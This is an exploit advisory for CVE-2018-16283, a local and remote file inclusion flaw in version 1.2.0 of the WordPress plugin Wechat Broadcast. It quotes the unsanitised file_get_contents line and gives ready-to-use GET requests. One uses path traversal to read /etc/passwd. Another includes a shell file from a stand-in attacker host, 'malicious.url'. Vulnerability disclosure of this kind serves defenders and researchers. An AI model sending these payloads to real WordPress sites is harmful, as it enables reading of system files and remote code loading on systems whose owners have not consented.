WordPress Plugin Wechat Broadcast 1.2.0 – Local File Inclusion
# Exploit Title: WordPress Plugin Wechat Broadcast 1.2.0 - Local File Inclusion # Author: Manuel Garcia Cardenas # Date: 2018-09-19 # Software link: https://es.wordpress.org/plugins/wechat-broadcast/ # CVE: CVE-2018-16283 # Description # This bug was found in the file: /wechat-broadcast/wechat/Image.php # echo file_get_contents(isset($_GET["url"]) ? $_GET["url"] : ''); # The parameter "url" it is not sanitized allowing include local or remote files # To exploit the vulnerability only is needed use the version 1.0 of the HTTP protocol # to interact with the application. # PoC # The following URL have been confirmed that is vulnerable to local and remote file inclusion. GET /wordpress/wp-content/plugins/wechat-broadcast/wechat/Image.php?url=../../../../../../../../../../etc/passwd # Remote File Inclusion POC: GET /wordpress/wp-content/plugins/wechat-broadcast/wechat/Image.php?url=http://malicious.url/shell.txt |